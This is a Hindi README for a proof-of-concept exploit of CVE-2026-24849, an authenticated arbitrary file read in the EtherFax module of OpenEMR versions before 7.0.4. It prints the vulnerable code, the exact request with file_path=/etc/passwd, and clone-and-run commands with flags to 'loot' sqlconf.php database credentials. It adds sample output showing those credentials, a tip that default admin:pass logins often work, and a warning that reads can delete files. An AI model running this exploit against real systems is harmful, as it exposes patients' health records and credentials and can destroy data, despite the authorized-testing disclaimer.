
CVE-2026-24849 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, OpenEMR के EtherFax मॉड्यूल में प्रमाणित पाथ-ट्रैवर्सल मनमानी फ़ाइल रीड। डेटाबेस क्रेडेंशियल और रोगी रिकॉर्ड सहित सर्वर फ़ाइलें पढ़ता है।
disposeDoc)प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट CVE-2026-24849 के लिए, OpenEMR के Fax/SMS (EtherFax) मॉड्यूल में एक प्रमाणित पथ-ट्रैवर्सल / मनमाना फ़ाइल पढ़ना। कोई भी प्रमाणित उपयोगकर्ता - विशेषाधिकार स्तर की परवाह किए बिना - वेब-सर्वर उपयोगकर्ता के रूप में सर्वर फाइलसिस्टम से मनमानी फ़ाइलें पढ़ सकता है (डेटाबेस क्रेडेंशियल्स, रोगी दस्तावेज़/PHI, /etc/passwd,…)।
| CVE | CVE-2026-24849 |
| भेद्यता | पथ ट्रैवर्सल / मनमाना फ़ाइल पढ़ना (CWE-22) |
| घटक | EtherFaxActions::disposeDoc() interface/modules/custom_modules/oe-module-faxsms |
| प्रभावित | OpenEMR < 7.0.4 |
| पैच किया गया | OpenEMR 7.0.4 |
| प्रमाणीकरण | आवश्यक कोई भी उपयोगकर्ता, किसी विशेषाधिकार की आवश्यकता नहीं |
| गंभीरता | NVD 6.5 (मध्यम) / GitHub CNA 9.9 (गंभीर) |
| परीक्षण किया गया | OpenEMR 7.0.2 Ubuntu 22.04, PHP 8.1, Apache 2.4 |
Fax/SMS मॉड्यूल का disposeDoc() विधि कॉलर-प्रदत्त file_path अनुरोध पैरामीटर लेता है, फ़ाइल के अस्तित्व की पुष्टि करता है, और इसे सीधे readfile() पर भेजता है, जिसमें कोई पथ कैनोनिकलीकरण, कोई अनुमति-सूची, और कोई प्राधिकरण जांच नहीं है, बस एक मान्य सत्र रखने के अलावा:
// interface/modules/custom_modules/oe-module-faxsms/src/Controller/EtherFaxActions.php
public function disposeDoc($content = ''): void
{
$where = $this->getRequest('file_path', null); // attacker-controlled, unvalidated
if (file_exists($where)) {
...
readfile($where); // arbitrary file read as the web-server user
unlink($where); // ⚠ deletes the file after reading (see warning below)
exit;
}
die('Problem with download. Use browser back button');
}
हैंडलर मॉड्यूल डिस्पैचर के माध्यम से file_path में पूर्ण पथ के साथ पहुंचा जाता है (कोई ../ ट्रैवर्सल आवश्यक नहीं):
GET /interface/modules/custom_modules/oe-module-faxsms/index.php
?site=default
&type=fax
&_ACTION_COMMAND=disposeDoc
&file_path=/etc/passwd
&action=download
एक निम्न-विशेषाधिकार (या डिफ़ॉल्ट) खाता पूर्ण सर्वर-पक्ष फ़ाइल-पढ़ने का प्राथमिक साधन बन जाता है:
sites/default/sqlconf.phpsites/<site>/documents/ के अंतर्गत कुछ भी, भले ही वह निर्देशिका .htaccess में Deny from all हो (पढ़ना डिस्क पर होता है, Apache को बायपास करते हुए)/etc/passwd, एप्लिकेशन स्रोत, वेब उपयोगकर्ता द्वारा पढ़ी जा सकने वाली कुंजियाँ/टोकन⚠️ विनाशकारी व्यवहार
disposeDoc()फ़ाइल पढ़ने के बादunlink($where)कॉल करता है। यदि वेब-सर्वर उपयोगकर्ता को किसी फ़ाइल को हटाने की अनुमति है तो उसे पढ़ने पर वह हटा दी जाएगी। रूट-स्वामित्व वाली फ़ाइलों (जैसे/etc/passwd, अधिकांश स्थापनाओं परsqlconf.php) को लक्षित करें - उनकी पैरेंट डायरेक्टरी वेब उपयोगकर्ता द्वारा लिखने योग्य नहीं है, इसलिएunlink()विफल हो जाता है और फ़ाइल बच जाती है। इस उपकरण को किस ओर इंगित करना है, इस बारे में सोच-समझकर निर्णय लें।
admin:pass अक्सर काम करता है)।requestspip3 install requests
git clone https://github.com/doany1/CVE-2026-24849.git
cd CVE-2026-24849
chmod +x CVE-2026-24849.py
बिना किसी तर्क के चलाएँ और यह हर आवश्यक चीज़ के लिए संकेत देगा:
python3 CVE-2026-24849.py
या फ़्लैग के साथ गैर-संवादात्मक रूप से चलाएँ:
# read a single file
python3 CVE-2026-24849.py -t http://TARGET -u admin -P pass -f /etc/passwd
# loot the DB credentials and save to a file
python3 CVE-2026-24849.py -t http://TARGET -u admin -P pass \
-f /var/www/html/openemr/sites/default/sqlconf.php -o sqlconf.php
| फ़्लैग | विवरण | डिफ़ॉल्ट |
|---|---|---|
-t, --target | बेस URL, उदा. http://10.10.10.10 | संकेत दिया गया |
-u, --user | OpenEMR उपयोगकर्ता नाम | admin |
-P, --password | OpenEMR पासवर्ड | संकेत दिया गया (छिपा हुआ) |
-s, --site | OpenEMR साइट आईडी | default |
-f, --file | दूरस्थ फ़ाइल का पूर्ण पथ | यदि छोड़ा गया तो संवादात्मक लूप |
-o, --output | लूटी गई फ़ाइल को प्रिंट करने के बजाय स्थानीय रूप से सहेजें |
यदि -f छोड़ा गया है, तो उपकरण संवादात्मक पढ़ने के लूप में आ जाता है ताकि आप एक सत्र से कई फ़ाइलें खींच सकें।
$ python3 CVE-2026-24849.py
[*] OpenEMR < 7.0.4 - Authenticated Arbitrary File Read (CVE-2026-24849)
Target base URL (e.g. http://10.10.10.10): http://10.10.10.10
Username [admin]:
Password:
Site [default]:
[*] Authenticating to http://10.10.10.10 as 'admin' ...
[+] Authenticated; CVE-2026-24849 file-read confirmed.
[*] Interactive read - enter absolute file paths (blank or 'q' to quit).
file_path: /var/www/html/openemr/sites/default/sqlconf.php
[+] ---------- /var/www/html/openemr/sites/default/sqlconf.php ----------
$login = 'openemr';
$pass = 'openemr123';
$dbase = 'openemr';
[+] --------------------------
requests के साथ लॉग इन करता है, सत्र को अपने कुकी जार में रखता है (ब्राउज़र सत्र-आईडी रोटेशन से बचाता है जो कॉपी किए गए कुकीज़ को बासी बना देता है)।disposeDoc पढ़ने का अनुरोध भेजता है, स्वचालित रूप से disposeDoc और disposeDocument दोनों का प्रयास करता है (विधि का नाम प्रभावित छोटे संस्करणों में भिन्न है)।.htaccess पर निर्भर न रहें।यह उपकरण अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। इसका उपयोग केवल उन सिस्टमों के खिलाफ करें जिनके आप मालिक हैं या जिनके परीक्षण की स्पष्ट लिखित अनुमति है। लेखक इस सॉफ़्टवेयर के दुरुपयोग या इससे होने वाली किसी भी क्षति के लिए कोई दायित्व स्वीकार नहीं करता है। ऊपर वर्णित विनाशकारी unlink() व्यवहार पर ध्यान दें।
doany1
MIT देखें LICENSE.